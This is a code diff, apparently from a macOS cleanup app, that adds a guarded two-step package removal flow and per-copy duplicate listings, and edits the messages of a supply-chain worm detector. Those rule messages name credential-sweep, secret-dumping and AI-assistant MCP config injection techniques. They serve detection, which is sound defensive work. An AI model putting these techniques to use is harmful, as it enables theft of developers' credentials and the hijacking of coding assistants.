ThreatCategory::SupplyChain, Severity::Critical, Confidence::High, - "Cross-ecosystem credential sweep (npm + PyPI) — CanisterSprawl pattern (WORM-05 combo)", + "Cross-ecosystem credential sweep (npm + PyPI): CanisterSprawl pattern (WORM-05 combo)", "The lifecycle script reads BOTH npm credentials and PyPI credentials in the \ same execution context. This is definitively the CanisterSprawl cross-ecosystem \ worm signature: a single npm install hook sweeping credentials for \ @@ -562,7 +562,7 @@ impl WormPropagationEngine { Confidence::High, "npm maintainer package enumeration in script (WORM-03)", "Querying /-/v1/search?text=maintainer:{user} enumerates all packages \ - accessible to a stolen token — the prerequisite step for worm \ + accessible to a stolen token: the prerequisite step for worm \ propagation. Zero false-positive rate: no package legitimately \ enumerates the full package portfolio of the authenticated user at \ install time. Identical call present in all five npm worm families.", @@ -642,7 +642,7 @@ impl WormPropagationEngine { Confidence::High, "GitHub Actions secret dump pattern in script (WORM-13)", "The file contains `toJSON(secrets)` or references `github.event.discussion.body` \ - without sanitization — used to inject a GitHub Actions workflow that \ + without sanitization: used to inject a GitHub Actions workflow that \ serializes all CI secrets. Seen in Shai-Hulud v1/v2, SANDWORM_MODE, \ Miasma/@redhat.", ) @@ -693,7 +693,7 @@ impl WormPropagationEngine { Severity::High, Confidence::High, "TruffleHog secret scanner referenced in bundled script (WORM-08)", - "A bundled script references TruffleHog — used by Shai-Hulud v1/v2 to \ + "A bundled script references TruffleHog: used by Shai-Hulud v1/v2 to \ scan the developer's machine for 800+ secret types and then delete \ the binary to cover tracks.", ) @@ -744,7 +744,7 @@ impl WormPropagationEngine { Confidence::High, "AI coding assistant MCP config path in bundled script (WORM-15)", "A bundled script references ~/.claude/settings.json, ~/.cursor/mcp.json, \ - ~/.continue/config.json, ~/.windsurf/mcp.json, or ~/.dev-utils — paths \ + ~/.continue/config.json, ~/.windsurf/mcp.json, or ~/.dev-utils: paths \ targeted by SANDWORM_MODE's MCP server injection to weaponize AI \ coding assistants as persistent credential exfiltrators.", ) @@ -908,7 +908,7 @@ impl WormPropagationEngine { ThreatCategory::SupplyChain, Severity::Critical, Confidence::High, - "Token harvest + npm publish in same script — worm propagation (WORM-04 combo)", + "Token harvest + npm publish in same script: worm propagation (WORM-04 combo)", "The same bundled script file reads npm credentials AND calls npm publish. \ This is the exact harvest-then-republish fingerprint of the npm worm class \ (Shai-Hulud, SANDWORM_MODE, CanisterWorm, Phantom Gyp). Zero legitimate \ diff --git a/crates/cleanton-antivirus/src/lib.rs b/crates/cleanton-antivirus/src/lib.rs index 2ace783..bcca9c1 100644 --- a/crates/cleanton-antivirus/src/lib.rs +++ b/crates/cleanton-antivirus/src/lib.rs @@ -22,7 +22,8 @@ //! - [`extract`] — the loader: directory walk + archive extraction + file-kind //! identification + zip-bomb / size / depth limits. //! - [`engines`] — the detection engines (hashdb, rules, entropy, ioc, -//! script_behavior, binary_indicators, supply_chain, typosquat). +//! script_behavior, binary_indicators, supply_chain, typosquat, and the +//! worm_propagation / persistence pair that look for live infection). //! - [`scoring`] — the policy that turns findings into a score and verdict. //! - [`scanner`] — the [`Scanner`] facade tying it all together. //! diff --git a/crates/cleanton-antivirus/src/scanner.rs b/crates/cleanton-antivirus/src/scanner.rs index 0498c8d..33751ed 100644 --- a/crates/cleanton-antivirus/src/scanner.rs +++ b/crates/cleanton-antivirus/src/scanner.rs @@ -18,7 +18,7 @@ use crate::types::{EngineStat, ScanReport}; /// A configured scanner instance. /// /// Construct with [`Scanner::new`] (no engines) or -/// [`Scanner::with_default_engines`] (all 8 bundled engines). +/// [`Scanner::with_default_engines`] (all bundled engines). /// Additional engines can be pushed via [`Scanner::add_engine`]. pub struct Scanner { engines: Vec>, diff --git a/crates/cleanton-antivirus/tests/integration.rs b/crates/cleanton-antivirus/tests/integration.rs index bb0d763..003fa36 100644 --- a/crates/cleanton-antivirus/tests/integration.rs +++ b/crates/cleanton-antivirus/tests/integration.rs @@ -1,7 +1,8 @@ //! Integration tests for the [`cleanton_antivirus::Scanner`] facade. //! //! These tests exercise the full stack: Loader → engines → ScoringPolicy → ScanReport. -//! Each test uses [`Scanner::with_default_engines`] so all 8 engines participate. +//! Each test uses [`Scanner::with_default_engines`] so every bundled engine +//! participates. use cleanton_antivirus::extract::Loader; use cleanton_antivirus::{AvError, ScanConfig, Scanner, ThreatCategory, Verdict}; diff --git a/crates/cleanton-app/src/main.rs b/crates/cleanton-app/src/main.rs index 867c813..2969ef2 100644 --- a/crates/cleanton-app/src/main.rs +++ b/crates/cleanton-app/src/main.rs @@ -30,8 +30,8 @@ use cleanton_common::{ use cleanton_engine::{ AnalyzedFull, AnalyzedPlan, AnnotatedAction, DockerAnalysis, DockerCleaner, DockerCleanupPlan, DuplicateSet, EngineEvent, InstalledApp, LargeItem, Orchestrator, SnapshotAnalysis, - SnapshotConfirmState, Suggestions, UninstallPlan, cask_token_for, delete_local_snapshots, - find_leftovers, format_snapshot_date, list_installed_apps, + SecurityRemoval, SnapshotConfirmState, Suggestions, UninstallPlan, cask_token_for, + delete_local_snapshots, find_leftovers, format_snapshot_date, list_installed_apps, }; use cleanton_packages::{Inventory, ManagerKind, PackageManagers, plan_removal, scan_usage}; use cleanton_scanner::ScanOptions; @@ -82,6 +82,10 @@ static APPS_LOADING: AtomicBool = AtomicBool::new(false); /// is ever in flight, its completion closure can never be stale. static SECURITY_SCAN_IN_FLIGHT: AtomicBool = AtomicBool::new(false); +/// One security removal at a time. Removal is the one destructive action on the +/// Security screen, so a double-click must never fire two uninstalls. +static SECURITY_REMOVE_IN_FLIGHT: AtomicBool = AtomicBool::new(false); + /// One uninstall at a time. static UNINSTALL_IN_FLIGHT: AtomicBool = AtomicBool::new(false); @@ -963,6 +967,33 @@ fn main() -> Result<(), slint::PlatformError> { } }); + let ui_weak = ui.as_weak(); + ui.global::() + .on_security_request_remove(move |index| { + if let Some(ui) = ui_weak.upgrade() { + arm_security_removal(&ui, index); + } + }); + + let config_clone = shared_config.clone(); + let ui_weak = ui.as_weak(); + ui.global::() + .on_security_confirm_remove(move |index| { + if let Some(ui) = ui_weak.upgrade() { + run_security_removal(&ui, index, &config_clone); + } + }); + + let ui_weak = ui.as_weak(); + ui.global::() + .on_security_cancel_remove(move || { + if let Some(ui) = ui_weak.upgrade() { + let state = ui.global::(); + state.set_security_pending_remove_index(-1); + state.set_security_remove_status(SharedString::new()); + } + }); + // ── Wire: Applications tab ───────────────────────────────────────────── let ui_weak = ui.as_weak(); ui.global::().on_refresh_apps(move || { @@ -2686,15 +2717,16 @@ fn selected_docker_plan(_state: &AppState) -> Option { /// Maximum suggestion rows rendered per subsection. const MAX_SUGGESTION_ROWS: usize = 50; +/// Maximum duplicate sets rendered (each set also renders one row per copy). +const MAX_DUPLICATE_SETS: usize = 25; +/// Maximum copies rendered under a single duplicate set. `DuplicateSet.paths` +/// is already capped by the engine; this keeps one pathological set from +/// flooding the Results list. +const MAX_DUPLICATE_COPIES: usize = 12; /// Populate the review-only Suggestions section (duplicate sets + large items). fn apply_suggestions_state(state: &AppState, suggestions: &Suggestions) { - let dup_rows = suggestions - .duplicates - .iter() - .take(MAX_SUGGESTION_ROWS) - .map(duplicate_row) - .collect::>(); + let dup_rows = duplicate_rows(&suggestions.duplicates); state.set_duplicate_count(clamp_to_i32(suggestions.duplicates.len())); state.set_duplicate_reclaimable(display::human_bytes(suggestions.duplicate_reclaimable).into()); state.set_duplicate_rows(ModelRc::from(Rc::new(VecModel::from(dup_rows)))); @@ -2731,29 +2763,114 @@ fn apply_suggestions_state(state: &AppState, suggestions: &Suggestions) { state.set_installer_rows(ModelRc::from(Rc::new(VecModel::from(installer_rows)))); } -fn duplicate_row(set: &DuplicateSet) -> SuggestionRow { - let first = set.paths.first(); - let path = first.map(|p| p.display().to_string()).unwrap_or_default(); - let name = first - .and_then(|p| p.file_name()) - .map(|n| n.to_string_lossy().into_owned()) - .unwrap_or_else(|| "duplicate".to_owned()); - SuggestionRow { - title: SharedString::from(format!( - "{} copies of {} ({} each)", - set.count, - name, - display::human_bytes(set.file_bytes) - )), - detail: SharedString::from(path.clone()), - size: SharedString::from(display::human_bytes(set.reclaimable_bytes)), - icon: SharedString::from("\u{f0c5}"), - path: SharedString::from(path), - // Reveal-only: a duplicate *set* has no single unambiguous copy to - // trash (deleting the first-sorted copy is rarely what the user means). - // The user reveals each copy in Finder and removes the right one. - deletable: false, +/// One duplicate set renders as a header row plus one row per copy, so the +/// user can see (and trash) every file in the set instead of only the first. +/// +/// Layout kinds match `SuggestionListRow.kind` in `widgets.slint`: +/// `1` = set header, `0` = an individual copy, `2` = a muted "+N more" note. +/// Every row carries the set index in `group`, which is what lets +/// [`prune_duplicate_row`] collapse a set once it drops below two copies. +fn duplicate_rows(sets: &[DuplicateSet]) -> Vec { + let mut rows: Vec = Vec::new(); + for (index, set) in sets.iter().take(MAX_DUPLICATE_SETS).enumerate() { + let group = i32::try_from(index).unwrap_or(0); + let listed = set.paths.len().min(MAX_DUPLICATE_COPIES); + let name = set + .paths + .first() + .and_then(|path| path.file_name()) + .map(|name| name.to_string_lossy().into_owned()) + .unwrap_or_else(|| "duplicate".to_owned()); + + rows.push(SuggestionRow { + kind: 1, + group, + title: SharedString::from(format!( + "{} identical copies of {} ({} each)", + set.count, + name, + display::human_bytes(set.file_bytes) + )), + detail: SharedString::new(), + size: SharedString::from(display::human_bytes(set.reclaimable_bytes)), + icon: SharedString::from("\u{f0c5}"), + // A set is a label, not a target: nothing to reveal or trash here. + path: SharedString::new(), + deletable: false, + }); + + for copy in set.paths.iter().take(listed) { + let path = copy.display().to_string(); + rows.push(SuggestionRow { + kind: 0, + group, + title: SharedString::from( + copy.file_name() + .map(|name| name.to_string_lossy().into_owned()) + .unwrap_or_else(|| path.clone()), + ), + detail: SharedString::from(path.clone()), + size: SharedString::from(display::human_bytes(set.file_bytes)), + icon: SharedString::from("\u{f15b}"), + path: SharedString::from(path), + // Each copy is one concrete file, so it can go to the Trash + // after the row's own two-step confirmation. + deletable: true, + }); + } + + if set.count > listed { + rows.push(SuggestionRow { + kind: 2, + group, + title: SharedString::from(format!( + "+{} more {} not listed", + set.count.saturating_sub(listed), + if set.count.saturating_sub(listed) == 1 { + "copy" + } else { + "copies" + } + )), + detail: SharedString::new(), + size: SharedString::new(), + icon: SharedString::new(), + path: SharedString::new(), + deletable: false, + }); + } } + rows +} + +/// Drop a trashed duplicate copy from the rendered model. When its set falls +/// below two remaining copies it is no longer a duplicate, so the whole group +/// (header, surviving copy, note) is removed and the set count goes down. +/// +/// Returns the surviving rows and the new number of duplicate sets. +fn prune_duplicate_row(rows: Vec, trashed: &str) -> (Vec, usize) { + let Some(group) = rows + .iter() + .find(|row| row.kind == 0 && row.path.as_str() == trashed) + .map(|row| row.group) + else { + let sets = rows.iter().filter(|row| row.kind == 1).count(); + return (rows, sets); + }; + + let mut kept: Vec = rows + .into_iter() + .filter(|row| !(row.kind == 0 && row.path.as_str() == trashed)) + .collect(); + let survivors = kept + .iter() + .filter(|row| row.group == group && row.kind == 0) + .count(); + if survivors < 2 { + kept.retain(|row| row.group != group); + } + let sets = kept.iter().filter(|row| row.kind == 1).count(); + (kept, sets) } fn large_item_row(item: &LargeItem) -> SuggestionRow { @@ -2780,6 +2897,8 @@ fn large_item_row(item: &LargeItem) -> SuggestionRow { "\u{f15b}" // file }; SuggestionRow { + kind: 0, + group: -1, title: SharedString::from(name), detail: SharedString::from(detail), size: SharedString::from(display::human_bytes(item.bytes)), @@ -2792,9 +2911,15 @@ fn large_item_row(item: &LargeItem) -> SuggestionRow { } /// Drop a just-trashed suggestion from the displayed models so it disappears -/// immediately without a full rescan. Only the deletable lists (large items and -/// screenshots) carry a Trash affordance, so only those are pruned. +/// immediately without a full rescan. Duplicate copies, large items, +/// screenshots and installers all carry a Trash affordance, so all four are +/// pruned; a duplicate set that falls below two copies is dropped with it. fn remove_suggestion_row(state: &AppState, path: &str) { + let current: Vec = state.get_duplicate_rows().iter().collect(); + let (duplicates, sets) = prune_duplicate_row(current, path); + state.set_duplicate_count(clamp_to_i32(sets)); + state.set_duplicate_rows(ModelRc::from(Rc::new(VecModel::from(duplicates)))); + let large: Vec = state .get_large_item_rows() .iter() @@ -2838,6 +2963,8 @@ fn installer_row(item: &LargeItem) -> SuggestionRow { format!("{} · {}", item.ml_note, path) }; SuggestionRow { + kind: 0, + group: -1, title: SharedString::from(name), detail: SharedString::from(detail), size: SharedString::from(display::human_bytes(item.bytes)), @@ -2867,6 +2994,8 @@ fn screenshot_row(item: &LargeItem) -> SuggestionRow { format!("{} · {}", item.ml_note, path) }; SuggestionRow { + kind: 0, + group: -1, title: SharedString::from(name), detail: SharedString::from(detail), size: SharedString::from(display::human_bytes(item.bytes)), @@ -3788,9 +3917,158 @@ fn security_row(package: &cleanton_engine::PackageReport) -> SecurityRow { actions: SharedString::from(package.action_lines().join("\n")), tamper: package.is_tampered(), critical: package.is_critical_alert(), + // A persistence file is the user's own file (a `.zshrc`, a LaunchAgent + // they installed), and the fix is to edit one line, not to delete it. + // Only installed packages get the Remove button. + removable: package.is_removable(), + remove_label: SharedString::from(package.removal().verb()), } } +/// Package managers detected once per process. Probing `PATH` for every row +/// would spawn a process per package, so the result is cached. +fn security_managers() -> &'static [ManagerKind] { + static MANAGERS: std::sync::OnceLock> = std::sync::OnceLock::new(); + MANAGERS.get_or_init(PackageManagers::detect).as_slice() +} + +/// The `cleanton-packages` manager that will perform a removal, when one can. +/// +/// The POLICY (which packages are removable at all, and how) lives in +/// `PackageReport::removal()` so the TUI and this app cannot disagree. This only +/// maps that decision onto the facade that runs it, and returns `None` when the +/// required manager is not installed on this machine. +fn removal_manager(removal: SecurityRemoval) -> Option { + let wanted = match removal { + SecurityRemoval::Npm => ManagerKind::Npm, + SecurityRemoval::Pip => ManagerKind::Pip, + SecurityRemoval::Trash | SecurityRemoval::NotRemovable => return None, + }; + security_managers() + .iter() + .find(|kind| **kind == wanted) + .copied() +} + +/// Arm (or re-arm) the two-step removal for one flagged package row. Nothing +/// runs here: the panel describes the action and the user confirms. +fn arm_security_removal(ui: &AppWindow, index: i32) { + let state = ui.global::(); + if state.get_security_acting() { + return; + } + let Ok(slot) = usize::try_from(index) else { + return; + }; + let explanation = SECURITY_REPORT.with(|cell| { + cell.borrow() + .as_ref() + .and_then(|report| report.flagged.get(slot)) + .map(cleanton_engine::PackageReport::removal_explanation) + }); + let Some(explanation) = explanation else { + return; + }; + state.set_security_remove_status(explanation.into()); + state.set_security_pending_remove_index(index); +} + +/// Run the confirmed removal for one flagged package row. +/// +/// Two shapes, both user-confirmed and both safe-by-default: a package manager +/// uninstall (npm / pip, which keeps the manager's metadata consistent) or a +/// Trash move of the package directory through the engine executor, which +/// re-checks protected paths before anything is touched. The Security report is +/// refreshed afterwards so the row does not linger as a stale finding. +fn run_security_removal(ui: &AppWindow, index: i32, config: &SharedConfig) { + if SECURITY_REMOVE_IN_FLIGHT.swap(true, Ordering::SeqCst) { + return; + } + let state = ui.global::(); + let Ok(slot) = usize::try_from(index) else { + SECURITY_REMOVE_IN_FLIGHT.store(false, Ordering::SeqCst); + return; + }; + let plan = SECURITY_REPORT.with(|cell| { + cell.borrow() + .as_ref() + .and_then(|report| report.flagged.get(slot)) + .map(|package| (package.name.clone(), package.path.clone(), package.removal())) + }); + // Defence in depth: a row Cleanton must not remove (a host persistence + // file) has no Remove button, so reaching here means the index came from + // somewhere other than the UI. Refuse rather than trash a user's own file. + if let Some((_, _, SecurityRemoval::NotRemovable)) = plan { + SECURITY_REMOVE_IN_FLIGHT.store(false, Ordering::SeqCst); + return; + } + let plan = plan.map(|(name, path, removal)| (name, path, removal_manager(removal))); + let Some((name, path, manager)) = plan else { + SECURITY_REMOVE_IN_FLIGHT.store(false, Ordering::SeqCst); + return; + }; + + state.set_security_pending_remove_index(-1); + state.set_security_acting(true); + state.set_security_remove_status(format!("Removing {name}...").into()); + + let ui_weak = ui.as_weak(); + let config = config_snapshot(config); + std::thread::spawn(move || { + // The manager's own uninstaller when one owns the package; the + // executor's single-path Trash move otherwise. Both are reviewed, + // timeout-bounded paths that already back the Packages tab. + let outcome: Result = worker_runtime().block_on(async move { + match manager { + Some(kind) => { + let outcome = PackageManagers::uninstall(kind, &[name.clone()]).await; + if outcome.ok { + Ok(match kind { + ManagerKind::Npm => format!("`npm uninstall -g {name}` finished."), + ManagerKind::Pip => format!("`pip uninstall -y {name}` finished."), + _ => format!("Uninstalled {name}."), + }) + } else { + Err(outcome.message) + } + } + None => { + let orchestrator = match Orchestrator::new(config) { + Ok(orchestrator) => orchestrator, + Err(err) => return Err(err.to_string()), + }; + let (event_tx, _event_rx) = mpsc::channel::(16); + let execution = match orchestrator.trash_suggestion(&path, &event_tx) { + Ok(execution) => execution, + Err(err) => return Err(err.to_string()), + }; + if execution_failed_count(&execution) > 0 { + return Err("the item could not be moved to the Trash".to_owned()); + } + Ok(format!("Moved {} to the Trash.", path.display())) + } + } + }); + + let _ = ui_weak.upgrade_in_event_loop(move |ui| { + SECURITY_REMOVE_IN_FLIGHT.store(false, Ordering::SeqCst); + let state = ui.global::(); + state.set_security_acting(false); + match outcome { + Ok(detail) => { + state.set_security_remove_status(detail.into()); + // Refresh so the removed package stops showing as a + // finding, and the baseline diff reflects the new set. + start_security_scan(&ui, false); + } + Err(err) => { + state.set_security_remove_status(format!("Could not remove: {err}").into()); + } + } + }); + }); +} + /// Load (or reload) the installed-application inventory on a background /// worker; bundle sizing walks every app bundle, so this never runs on the UI /// thread. diff --git a/crates/cleanton-app/ui/app.slint b/crates/cleanton-app/ui/app.slint index b122776..9c158e8 100644 --- a/crates/cleanton-app/ui/app.slint +++ b/crates/cleanton-app/ui/app.slint @@ -61,11 +61,19 @@ export struct SnapshotRow { // A review-only suggestion row (duplicate set, large file/folder, or screenshot). export struct SuggestionRow { + // Row flavour: 0 = an individual item, 1 = a duplicate-set header, + // 2 = a muted note (for example "+3 more copies not listed"). + kind: int, + // Duplicate-set index this row belongs to, or -1 for anything that is not + // part of a duplicate set. Lets a trashed copy collapse its own set. + group: int, title: string, detail: string, size: string, icon: string, - // First/representative path, used for "Reveal in Finder" and the Trash action. + // The path this row acts on: the copy for a duplicate row, the item for a + // large-file/screenshot row, and empty for a set header or a note (both of + // which are labels, not actionable targets). path: string, // Whether the two-step Trash affordance is offered for this row. deletable: bool, @@ -122,12 +130,12 @@ export struct LeftoverRow { // One surfaced package from the read-only security scan (Security tab): // new, updated, or changed since the trusted baseline. The only per-row -// action is "Trust" which updates the baseline METADATA file — the package +// action is "Trust" which updates the baseline METADATA file; the package // itself is never touched. export struct SecurityRow { name: string, version: string, - // RAW AV verdict "clean" | "suspicious" | "malicious" — kept for + // RAW AV verdict "clean" | "suspicious" | "malicious", kept for // transparency; the BADGE is driven by assessment-label instead. verdict: string, // Assessment badge label (shared engine copy): the verdict for alerts, @@ -149,7 +157,7 @@ export struct SecurityRow { // Pre-rendered top findings (shared engine copy), newline-separated. findings: string, // Baseline change kind label (shared engine copy), e.g. "new", - // "updated", "changed — no version bump", "unchanged". + // "updated", "changed, no version bump", "unchanged". change: string, // Shared one-sentence explanation of the change kind. notice: string, @@ -157,13 +165,19 @@ export struct SecurityRow { // "Investigate now" / "Verify then trust". action-label: string, // Concrete review-only next steps (shared engine copy), newline-separated. - // Advisory — the user runs these; Cleanton never removes anything. + // Advisory: the user runs these; Cleanton never removes anything. actions: string, // True for the same-version tamper case (the red alarm). tamper: bool, // True for critical alerts (tamper, or a corroborated malicious // assessment). critical: bool, + // Whether this package can be acted on from here: uninstalled through its + // own package manager, or moved to the Trash when no manager owns it. + removable: bool, + // Verb for that action: "Uninstall" when a package manager can remove the + // package cleanly, "Remove" when the package directory is trashed instead. + remove-label: string, } export struct ServiceRow { @@ -342,7 +356,7 @@ export global AppState { in-out property security-has-report: false; in-out property security-progress: ""; in-out property security-progress-ratio: 0.0; - // Shared summary copy (SecurityReport::summary_message) — same string in + // Shared summary copy (SecurityReport::summary_message): same string in // the TUI and the CLI. in-out property security-summary: ""; // Shared banner headline + tone ("danger" | "warning" | "success"). @@ -361,6 +375,13 @@ export global AppState { in-out property security-updated-count: 0; in-out property security-tamper-count: 0; in-out property security-critical-count: 0; + // Removal (the one destructive affordance on the Security screen) is + // two-step: `security-request-remove` arms a row, `security-confirm-remove` + // runs it, `security-cancel-remove` disarms. -1 means nothing is armed. + in-out property security-pending-remove-index: -1; + in-out property security-acting: false; + // What the armed removal will do, spelled out before it runs. + in-out property security-remove-status: ""; // Applications tab state. in-out property <[AppListRow]> app-rows; @@ -466,9 +487,16 @@ export global AppCallbacks { // ends by writing the baseline metadata file; packages untouched). callback security-establish-baseline(); // Mark the flagged package at this row index as reviewed/trusted, or all - // of them. Baseline metadata only — never modifies a package. + // of them. Baseline metadata only, never modifies a package. callback security-trust-package(int); callback security-trust-all(); + // Remove a flagged package: uninstall it through its own package manager + // (npm, pip) when one owns it, otherwise move its package directory to the + // Trash. Two-step: request arms the row, confirm runs it, cancel disarms. + // Nothing here runs without the second, explicit click. + callback security-request-remove(int); + callback security-confirm-remove(int); + callback security-cancel-remove(); // Applications tab: inventory, leftover review, and two-step uninstall. callback refresh-apps(); @@ -502,6 +530,11 @@ component SettingsField inherits HorizontalLayout { spacing: Theme.spacing-lg; min-height: 48px; + // Centre the control on the cross (vertical) axis. The default is + // `stretch`, and a control with a pinned height (the 26px toggle track) + // cannot be stretched, so it was pinned to the TOP of the 48px row while + // the label beside it stayed centred: the row read as broken. + cross-axis-alignment: center; VerticalLayout { horizontal-stretch: 1; @@ -662,7 +695,7 @@ export component AppWindow inherits Window { // First-run / permission banner: only shown when Full Disk // Access is positively detected as missing. Purely informational - // — it guides the user and offers a button that opens the + // it guides the user and offers a button that opens the // correct System Settings pane on explicit click. HorizontalLayout { spacing: Theme.spacing-md; @@ -830,7 +863,7 @@ export component AppWindow inherits Window { // Height matches the fixed tile height, and // viewport-height is pinned to it so the // carousel only ever scrolls horizontally - // (tiles are 116px tall — see MetricTile). + // (tiles are 116px tall, see MetricTile). height: 116px; viewport-height: self.height; @@ -957,7 +990,7 @@ export component AppWindow inherits Window { } // Execution metrics only appear once a cleanup is running - // or has run — before that they're an empty block of zeros. + // or has run. Before that they're an empty block of zeros. if AppState.cleaning || AppState.execution-attempted-count > 0: VerticalLayout { spacing: Theme.spacing-sm; @@ -1245,7 +1278,7 @@ export component AppWindow inherits Window { } } - // ── Suggestions (review only — never auto-cleaned) ─── + // ── Suggestions (review only, never auto-cleaned) ─── if AppState.duplicate-count > 0 || AppState.large-item-count > 0 || AppState.screenshot-count > 0 || AppState.installer-count > 0: Panel { VerticalLayout { padding: Theme.spacing-sm; @@ -1271,12 +1304,14 @@ export component AppWindow inherits Window { if AppState.duplicate-count > 0: Rectangle { height: Theme.spacing-sm; } if AppState.duplicate-count > 0: Text { - text: "Duplicate files: " + AppState.duplicate-reclaimable + " across " + AppState.duplicate-count + " sets"; + text: "Duplicate files: " + AppState.duplicate-reclaimable + " across " + AppState.duplicate-count + " sets. Every copy is listed under its set, so you choose which one goes."; color: Theme.palette.text-secondary; font-size: Theme.font-size-xs; font-weight: 700; + wrap: word-wrap; } for s in AppState.duplicate-rows: SuggestionListRow { + kind: s.kind; title: s.title; detail: s.detail; size: s.size; @@ -1299,6 +1334,7 @@ export component AppWindow inherits Window { font-weight: 700; } for s in AppState.screenshot-rows: SuggestionListRow { + kind: s.kind; title: s.title; detail: s.detail; size: s.size; @@ -1321,6 +1357,7 @@ export component AppWindow inherits Window { font-weight: 700; } for s in AppState.installer-rows: SuggestionListRow { + kind: s.kind; title: s.title; detail: s.detail; size: s.size; @@ -1343,6 +1380,7 @@ export component AppWindow inherits Window { font-weight: 700; } for s in AppState.large-item-rows: SuggestionListRow { + kind: s.kind; title: s.title; detail: s.detail; size: s.size; @@ -1420,18 +1458,24 @@ export component AppWindow inherits Window { } ActionButton { label: AppState.package-loading ? "Loading..." : "Refresh"; icon-glyph: "\u{f021}"; enabled: !AppState.package-loading && !AppState.package-acting; clicked => { AppCallbacks.refresh-packages(); } } // Activity indicator on the right, next to the action that - // started it; Spinner hides itself when nothing is running. - Spinner { - running: AppState.package-loading || AppState.package-acting || AppState.package-usage-scanning; - spinner-size: 16px; - y: (parent.height - self.height) / 2; + // started it. Conditional rather than `visible: false`: a + // hidden element still occupies its slot in a layout, so an + // always-present spinner left a permanent gap after Refresh. + if AppState.package-loading || AppState.package-acting || AppState.package-usage-scanning: HorizontalLayout { + alignment: center; + Spinner { + running: true; + spinner-size: 16px; + } } } - // Indeterminate activity strip: always visible feedback that work - // is in flight, even when the status line has not changed yet. - ActivityBar { - running: AppState.package-loading || AppState.package-acting || AppState.package-usage-scanning; + // Indeterminate activity strip: feedback that work is in flight, + // even when the status line has not changed yet. Conditional for + // the same reason as the spinner: a hidden strip keeps its 4px + // height and its share of the layout spacing, both dead space. + if AppState.package-loading || AppState.package-acting || AppState.package-usage-scanning: ActivityBar { + running: true; } // Manager selector. @@ -1483,10 +1527,12 @@ export component AppWindow inherits Window { if AppState.package-action-status != "": HorizontalLayout { spacing: Theme.spacing-xs; - Spinner { - running: AppState.package-usage-scanning || AppState.package-acting || AppState.package-loading; - spinner-size: 12px; - y: (parent.height - self.height) / 2; + if AppState.package-usage-scanning || AppState.package-acting || AppState.package-loading: HorizontalLayout { + alignment: center; + Spinner { + running: true; + spinner-size: 12px; + } } Text { text: AppState.package-action-status; @@ -1500,8 +1546,8 @@ export component AppWindow inherits Window { if AppState.package-note != "": Text { text: AppState.package-note; color: Theme.palette.warning; font-size: Theme.font-size-xs; wrap: word-wrap; } - ActivityBar { - running: AppState.package-acting || AppState.package-loading; + if AppState.package-acting || AppState.package-loading: ActivityBar { + running: true; } HorizontalLayout { @@ -1578,17 +1624,22 @@ export component AppWindow inherits Window { vertical-stretch: 1; alignment: center; spacing: Theme.spacing-sm; - Spinner { - running: AppState.package-loading; - spinner-size: 26px; - spinner-color: Theme.palette.text-muted; - visible: AppState.package-loading; + // A fixed-width Spinner is placed at the START of a + // VerticalLayout's cross (horizontal) axis, which is + // exactly why the loading spinner sat hard left. The + // wrapper centres it on its own main axis. + if AppState.package-loading: HorizontalLayout { + alignment: center; + Spinner { + running: true; + spinner-size: 26px; + spinner-color: Theme.palette.text-muted; + } } - FaIcon { + if !AppState.package-loading: FaIcon { glyph: "\u{f1b3}"; icon-color: Theme.palette.text-muted; icon-size: Theme.font-size-xl; - visible: !AppState.package-loading; } Text { text: AppState.package-loading ? AppState.package-status : (AppState.package-note != "" ? AppState.package-note : "No packages found"); color: Theme.palette.text-secondary; font-size: Theme.font-size-md; font-weight: 600; horizontal-alignment: center; } } @@ -1972,10 +2023,12 @@ export component AppWindow inherits Window { HorizontalLayout { spacing: Theme.spacing-sm; Text { text: "Uninstall " + AppState.selected-app-name; color: Theme.palette.text-primary; font-size: Theme.font-size-lg; font-weight: 700; horizontal-stretch: 1; overflow: elide; } - Spinner { - running: AppState.leftover-loading || AppState.uninstalling; - spinner-size: 14px; - y: (parent.height - self.height) / 2; + if AppState.leftover-loading || AppState.uninstalling: HorizontalLayout { + alignment: center; + Spinner { + running: true; + spinner-size: 14px; + } } Text { text: AppState.uninstalling @@ -1989,8 +2042,8 @@ export component AppWindow inherits Window { } } - ActivityBar { - running: AppState.leftover-loading || AppState.uninstalling; + if AppState.leftover-loading || AppState.uninstalling: ActivityBar { + running: true; } Text { @@ -2117,7 +2170,7 @@ export component AppWindow inherits Window { // ── Security: read-only supply-chain scan of installed packages, // diffed against the trusted baseline. Detection + notification - // only — this screen has NO destructive affordance; "Trust" + // only. This screen has NO destructive affordance; "Trust" // updates the baseline METADATA file, never a package. if AppState.active-screen == 6: VerticalLayout { padding: Theme.spacing-xl; @@ -2411,7 +2464,7 @@ export component AppWindow inherits Window { spacing: Theme.spacing-sm; Text { - text: "Surfaced packages (" + AppState.security-flagged-count + "): corroborated alerts first, neutral notices below. Review each package at its path; if you did not expect it, remove or reinstall it with its package manager. Trusting a package only updates the baseline file."; + text: "Surfaced packages (" + AppState.security-flagged-count + "): corroborated alerts first, neutral notices below. Review each package at its path; if you did not expect it, use Remove to uninstall it with its package manager or move it to the Trash (two-step, confirmed). Trusting a package only updates the baseline file."; color: Theme.palette.text-secondary; font-size: Theme.font-size-xs; wrap: word-wrap; @@ -2449,7 +2502,7 @@ export component AppWindow inherits Window { : (row.change == "updated" ? Theme.palette.info : Theme.palette.accent); } // Assessment chip: the verdict for ALERT rows only; notice rows get - // the neutral info badge — a raw heuristic verdict never goes red. + // the neutral info badge, so a raw heuristic verdict never goes red. Badge { label: row.assessment-label; badge-color: !row.alert @@ -2537,19 +2590,82 @@ export component AppWindow inherits Window { VerticalLayout { alignment: center; + spacing: Theme.spacing-xs; ActionButton { label: "Trust"; icon-glyph: "\u{f058}"; primary: false; + enabled: !AppState.security-acting; clicked => { AppCallbacks.security-trust-package(row-index); } } + + // Two-step removal. Only the + // armed row shows "Confirm", + // and the panel below spells + // out what the removal does. + if row.removable: ActionButton { + label: AppState.security-pending-remove-index == row-index + ? "Confirm" + : row.remove-label; + icon-glyph: AppState.security-pending-remove-index == row-index + ? "\u{f00c}" + : "\u{f2ed}"; + primary: false; + danger: true; + enabled: !AppState.security-acting; + clicked => { + if AppState.security-pending-remove-index == row-index { + AppCallbacks.security-confirm-remove(row-index); + } else { + AppCallbacks.security-request-remove(row-index); + } + } + } } } } } } + // Armed removal: say exactly what will happen and + // offer a way out before anything runs. + if AppState.security-pending-remove-index >= 0: Rectangle { + border-radius: Theme.radius-sm; + background: Theme.palette.danger.with-alpha(0.10); + border-width: 1px; + border-color: Theme.palette.danger.with-alpha(0.45); + height: 